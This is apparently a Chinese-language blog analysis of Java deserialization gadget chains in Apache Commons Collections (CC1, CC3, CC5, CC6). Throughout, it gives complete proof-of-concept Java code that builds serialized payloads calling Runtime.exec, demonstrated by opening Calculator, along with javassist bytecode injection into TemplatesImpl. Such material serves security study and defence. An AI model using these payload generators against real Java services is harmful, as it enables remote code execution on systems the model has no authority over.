Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象
通过接口实现查询,能获取到 ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 这些类均实现了 Transformer接口
官网:http://commons.apache.org/proper/commons-collections/
Github:https://github.com/apache/commons-collections
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer
。
CommonsCollections1
环境:JDK1.7、commons-collections-3.1-3.2.1
漏洞点存在于
commons-collections-3.1-src.jar:
/org/apache/commons/collections/functors/InvokerTransformer.java
在 InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法
接下来我们需要利用反射调用恶意方法比如命令执行:Runtime
.
getRuntime
().
exec
但是得想办法构造出反射调用,类似下面的方式:
import java.io.IOException;
public class ExecuteCMD {public static void main(String [] args) throws IOException{// 普通命令执行Runtime.getRuntime().exec(new String [] { "deepin-calculator" });// 通过反射执行命令try{Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String [] { "deepin-calculator" });} catch(Exception e) {e.printStackTrace();}}
}
所以我们需要找到一处可以循环调用 transform 方法的地方来构造反射链
在commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class
中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法
所以我们可以构造上文提到的反射调用链,将 ChainedTransformer 的 Transformer 属性按照如下构造:
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};
数组第一个的ConstantTransformer 类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class
在构造好这些后,我们现在需要寻找可以调用 ChainedTransformer.transform() 方法的类
网上公开的主要有两条链: TransformedMap 和 LazyMap 这两个利用链
ysoserial中的cc1使用的是LazyMap类,调用链为:
sun.reflect.annotation.AnnotationInvocationHandler.readObject()-> memberValues.entrySet()-> AnnotationInvocationHandler.invoke()-> memberValues.get() => LazyMap.get()-> factory.transform() => ChainedTransformer.transform()-> 反射构造Runtime.getRuntime().exec()
使用 TransformedMap类的调用链为:
sun.reflect.annotation.AnnotationInvocationHandler.readObject()-> memberValue.setValue() => TransformedMap.setValue() => TransformedMap.checkSetValue()-> valueTransformer.transform() => ChainedTransformer.transform()-> 反射构造Runtime.getRuntime().exec()
LazyMap
LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。
LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”leon”:
public class Test{public static void main(String[] args) throws Exception {Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() {public Object transform(Object input) {return "leon";}});System.out.println(targetMap.get("hhhhhhhh"));}
}
继续看调用链,在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,只需将factory 设置为 ChainedTransformer 即可触发ChainedTransformer.transform(),所以我们继续搜下哪里调用了这个 get 方法
调用示意图:
在 AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控,将memberValues设置为LazyMap,这样就可以成功触发memberValues.get() => LazyMap.get()
调用示意图:
我们知道Proxy动态代理机制下被代理的类通过调用动态代理处理类(InvocationHandler
)的invoke
方法获取方法执行结果,通过动态代理,我们就可以触发这个 invoke 方法
所以我们可以利用Proxy动态代理AnnotationInvocationHandler,触发它的 invoke 方法,进而达成后续的调用链:
AnnotationInvocationHandler.invoke()-> memberValues.get() => LazyMap.get()-> factory.transform() => ChainedTransformer.transform()-> 反射构造Runtime.getRuntime().exec()
然后我们回到反序列化的触发处:AnnotationInvocationHandler.readObject()
readObject
方法调用了memberValues.entrySet函数,在动态代理下会先调用invoke函数,最终达成了完整的利用链:
public class CC1_LazyMap {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "leon");//factory.transform() => ChainedTransformer.transform()Map outmap = LazyMap.decorate(innermap,transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);Object instance = ctor.newInstance(Retention.class, mapProxy);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}
}
TransformedMap
同样的,先找能可控调用ChainedTransformer.transform() 方法的类,该类中有3个方法均调用了 transform(),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控:
接下来我们需要寻找重载了readObject
方法的类且该readObject
方法调用了上述其中之一可以触发调用 transform() 的方法,这样就可以构成完整的反序列化rce链
transformKey() 和 transformValue() 在put公开方法中可以可控调用,但是寻找readObject
方法中调用了的条件比较苛刻
再看checkSetValue() 方法,注释说当调用该类的 setValue方法时,会自动调用 checkSetValue 方法,该类 setValue 方法继承自父类的AbstractInputCheckedMapDecorator ,我们看其父类代码:
一直跟进发现最终调用了 Map.setValue() 方法,所以现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链,相对于寻找 TransformedMap.put() 方法方便了许多。
我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用:
但是得先通过if判断,其中需要关注的就是 clazz、object 两个变量的值。实际上, clazz 的值只与 this.type 有关; object 只与 this.memberValues 有关,所以我们转而关注构造函数:
在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口,所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值
实际上,并不是将 this.type设置成任意注解类都能执行 POC,参考七月火师傅的结论:
网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素。而注解类方法返回类型将是 clazz 的值。
最后poc如下:
public class CC1_TransformedMap {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "leon");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}
}
CommonsCollections3
环境:JDK1.7、commons-collections-3.1-3.2.1
CommonsCollections3的前半段触发的利用链跟CommonsCollections1是一样的,主要对后半段进行分析
TemplatesImpl
TemplatesImpl 类位于com.sun.org
.apache.xalan.internal.xsltc.trax.TemplatesImpl
,实现了 Serializable
接口,因此它可以被序列化,我们来看一下漏洞触发点。
首先我们注意到该类中存在一个成员属性 _class
,是一个 Class 类型的数组,数组里下标为_transletIndex
的类会在 getTransletInstance()
方法中使用 newInstance()
实例化。
newTransformer()
方法调用了 getTransletInstance()
方法:
其中 defineTransletClasses()
在 getTransletInstance()
中,如果 _class
不为空即会被调用:
可以看到其中调用了defineClass
函数,这里简单介绍一下:
public class StaticBlockTest {
}public class Cracker {public static byte[] generate(){try {String code = "{java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");}";ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(StaticBlockTest.class.getName());clazz.setName("demo");clazz.makeClassInitializer().insertAfter(code);return clazz.toBytecode();// ...}public static void main(String[] args) {byte[] clazz = generate();DefiningClassLoader loader = new DefiningClassLoader();Class cls = loader.defineClass("demo",clazz);// 从字节数组中恢复类try {cls.newInstance(); // 实例化该类时会自动调用静态块内的代码} // ...}
}
Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。
理论上,如果代码中使用了这种方式,且byte数据的内容可控,我们可以执行任意Java代码
这里就用到了Java类的另一个特性,static block在类载入时自动执行块内的代码。我们可以通过javassist对静态块注入任意代码,该类被恢复并载入时会调用注入的代码,后文的利用链主要就是用到了这两个知识点
于是我们有了defineTransletClasses
还原出类,getTransletInstance
进行实例化,那么只需要构造一个合适的_bytecodes
即可执行任意Java代码,还有一点需要注意,植入的templates._bytecodes
数组,其最终还原的对象父类为com.sun.org
.apache.xalan.internal.xsltc.runtime.AbstractTranslet
TrAXFilter
在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter
,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。
com.sun.org
.apache.xalan.internal.xsltc.trax.TrAXFilter
是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,
TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发 TemplatesImpl 的攻击 payload 了
InstantiateTransformer
现在我们需要实例化 TrAXFilter,我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer
Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform()
方法实际上接收一个 Class 类型的对象,通过 getConstructor
获取构造方法,并通过 newInstance
创建类实例。
到这关键方法都介绍了一遍,只需要串成一个完整的链:
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Proxy(LazyMap).extrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()(TrAXFilter)Constructor.newInstance()TrAXFilter#TrAXFilter()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()(PayLoad)newInstance()Runtime.exec()
前半段链cc1已经介绍过了,这里是一样的,利用动态代理触发AnnotationInvocationHandler.invoke(),进而触发LazyMap.get()
这里factory为传入的ChainedTransformer,所以继续调用ChainedTransformer.transform()
然后循环调用transform,触发InstantiateTransformer.transform()
接下来利用 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞,与前面介绍的各个类就串联成了一个完整的利用链
值得一提的是用到了javassist动态创建字节码,或者也可以直接class文件读取字节码,前者明显方便很多
我们已经知道了两种Java的任意代码执行的构造方式:
- 利用可控的反射机制。具体的Class、Method等均可控时,利用反射机制,可以构造出任意的类调用、类函数调用
- 利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组,对静态块注入恶意代码
cc3的poc:
public class TrAXFilter_Exploit {public static void main(String[] args) throws Exception{//1.先创建恶意类ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass tempExploitClass = pool.makeClass("evil");//一定要设置父类,为了后续顺利tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));//写入payload,生成字节数组String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";tempExploitClass.makeClassInitializer().insertBefore(cmd);byte[] exploitBytes = tempExploitClass.toBytecode();//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件TemplatesImpl tmpl = new TemplatesImpl();//设置_bytecodes属性为exploitBytesField bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{exploitBytes});//一定要设置_name不为空Field _name = TemplatesImpl.class.getDeclaredField("_name");_name.setAccessible(true);_name.set(tmpl, "leon");//_class为空Field _class = TemplatesImpl.class.getDeclaredField("_class");_class.setAccessible(true);_class.set(tmpl, null);//3.构造chain,封装进LazyMapTransformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})};ChainedTransformer chain = new ChainedTransformer(transformers);HashMap innermap = new HashMap();LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain);//4. 拿到cons,先做一个h1,h1.memberValues = lazymapfinal Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);cons.setAccessible(true);InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class,lazymap);// 创建LazyMap的动态代理类实例Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),h1);// 创建一个AnnotationInvocationHandler实例h2,并且把刚刚创建的代理赋值给h2.memberValuesInvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class, mapProxy);ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc3.ser")));fout.writeObject(h2);}
}
CommonsCollections5
环境:JDK1.8、commons-collections-3.1-3.2.1
JDK 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 JDK 1.8 版本需要找出能替代 AnnotationInvocationHandler 的新的可以利用的类
所以这个对象需要满足:
- 类可序列化,类属性有个可控的Map对象或Object
- 该类的类函数上有调用这个Map.get的地方
TiedMapEntry
TiedMapEntry有一个map类属性,且在getValue处调用了map.get函数。同时toString、hashCode、equals均调用了getValue函数,这里关注toString函数:
public Object getValue() {return map.get(key);
}public boolean equals(Object obj) {if (obj == this) {return true;}if (obj instanceof Map.Entry == false) {return false;}Map.Entry other = (Map.Entry) obj;Object value = getValue();return(key == null ? other.getKey() == null : key.equals(other.getKey())) &&(value == null ? other.getValue() == null : value.equals(other.getValue()));
}public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode());
}public String toString() {return getKey() + "=" + getValue();
}
接下来需要找到一个可以触发TiedMapEntry.toString
的类
BadAttributeValueExpException
BadAttributeValueExpException类的readObject
函数会自动调用类属性的toString
函数,构造的时候把val属性设置为TiedMapEntry即可,因为是private
属性,需要反射构造
InvokerTransformer
这条链后半段就是cc1的TransformedMap,调用链如下:
ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
前半段就是前文介绍的,反序列化时BadAttributeValueExpException.readObject()去调用TiedMapEntry.toString(),toString会调用getValue方法,getValue调用LazyMap.get(),最终完成反序列化链,poc如下:
public class BadAttributeValueExpException_Exploit {public static void main(String[] args) throws Exception{Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};Transformer chain = new ChainedTransformer(transformers_exec);HashMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap,chain);TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);BadAttributeValueExpException payload = new BadAttributeValueExpException(null);Field val = BadAttributeValueExpException.class.getDeclaredField("val");val.setAccessible(true);val.set(payload,tmap);ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_InvokerTransformer.ser")));fout.writeObject(payload);}
}
InstantiateTransformer
其实cc3将前半段改为BadAttributeValueExpException.readObject-> TiedMapEntry.toString-> LazyMap.get
调用,又可以组成一条新链,poc就不放了,利用链如下:
ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()(TrAXFilter)Constructor.newInstance()TrAXFilter#TrAXFilter()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()(PayLoad)newInstance()Runtime.exec()
TemplatesImpl
先给出利用链:
ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()TiedMapEntry.getValue()LazyMap.get()InvokerTransformer.transform()Method.invoke()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()Class.newInstance()Runtime.exec()
在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递
在cc1中介绍过,InvokerTransformer.transform利用反射调用,这里直接input就是传入的key值,也就是TemplatesImpl类,利用反射调用直接调用TemplatesImpl.newTransformer,进而回到我们在cc3介绍过的TemplatesImpl类下的一系列触发链,最后调用defineClass进行字节码执行。
poc:
public class TemplatesImpl_Exploit {public static void main(String[] args) throws Exception{//1.先创建恶意类ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass tempExploitClass = pool.makeClass("evil");//一定要设置父类,为了后续顺利tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));//写入payload,生成字节数组String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";tempExploitClass.makeClassInitializer().insertBefore(cmd);byte[] exploitBytes = tempExploitClass.toBytecode();//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件TemplatesImpl tmpl = new TemplatesImpl();//设置_bytecodes属性为exploitBytesField bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{exploitBytes});//一定要设置_name不为空Field _name = TemplatesImpl.class.getDeclaredField("_name");_name.setAccessible(true);_name.set(tmpl, "leon");//_class为空Field _class = TemplatesImpl.class.getDeclaredField("_class");_class.setAccessible(true);_class.set(tmpl, null);//3.构造InvokerTransformerInvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});//InvokerTransformer iInvokerTransformer = new InvokerTransformer("getOutputProperties",new Class[]{},new Object[]{});也可以HashMap innermap = new HashMap();LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer);TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl);BadAttributeValueExpException payload = new BadAttributeValueExpException(null);Field val = BadAttributeValueExpException.class.getDeclaredField("val");val.setAccessible(true);val.set(payload,tmap);ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_TemplatesImpl.ser")));fout.writeObject(payload);}}
CommonsCollections6
HashMap
在 CC5 中介绍TiedMapEntry
的时候之前看到了hashcode
方法也会调用 getValue()
方法然后调用到其中 map 的 get 方法触发 LazyMap,现在需要找到如何去触发TiedMapEntry.hashCode
后半段链不变,还是CC1的TransformedMap
链后半部分
在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,也就是HashMap的readObject方法:
但是构造完后发现,在LazyMap.get
方法中会判断不通过,链子会断掉,无法进入ChainedTransformer.transform
我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍,用lazyMap.remove(123)
或者lazyMap.clear()
都行
利用链如下:
ObjectInputStream.readObject()HashMap.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
poc:
public class HashMap_Exploit {public static void main(String[] args) throws Exception{Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};Transformer chain = new ChainedTransformer(transformers_exec);HashMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap,chain);TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);HashMap hashMap = new HashMap();hashMap.put(tmap, "test");lazyMap.clear();ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_HashMap.ser")));fout.writeObject(hashMap);}
}
fackchain
在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再利用反射将lazymap内部的_itransformer
属性改回到真正的chain
public class fackchain_Exploit {public static void main(String[] args) throws Exception{Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};Transformer[] fakeTransformer = new Transformer[]{};//fake chainTransformer chain = new ChainedTransformer(fakeTransformer);HashMap innerMap = new HashMap();//先构造假的chainMap lazyMap = LazyMap.decorate(innerMap,chain);TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);HashMap hashMap = new HashMap();hashMap.put(tmap, "test");//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, transformers_exec);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_fakechain.ser")));fout.writeObject(hashMap);}
}
HashSet
HashSet的readObject方法会调用map.put,这里map可以控制为HashMap,进而调用HashMap.put
HashMap.put又会去调用HashMap.hash方法对key进行hashCode操作
这里k就是传入的key,所以当我们控制key为TiedMapEntry的key时,就可以触发TiedMapEntry.hashCode,从而回到之前介绍过的利用链上
利用链如下:
ObjectInputStream.readObject()HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transformInvokerTransformer.transform(Method.invoke()Class.getMethod()InvokerTransformer.transform(Method.invoke()Runtime.getRuntime()InvokerTransformer.transform(Method.invoke()Runtime.exec()
当然,到这里只是前半段进行了更改,后半段链子也可以进行替换,比如InstantiateTransformer和TemplatesImpl的利用链,前文也都介绍过,排列组合又是几条利用链
Reference
GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
深入理解 JAVA 反序列化漏洞
https://xz.aliyun.com/t/8009
https://blog.0kami.cn/2019/10/24/java/study-java-deserialized-commonscollections3-1/
https://su18.org/post/ysoserial-su18-2/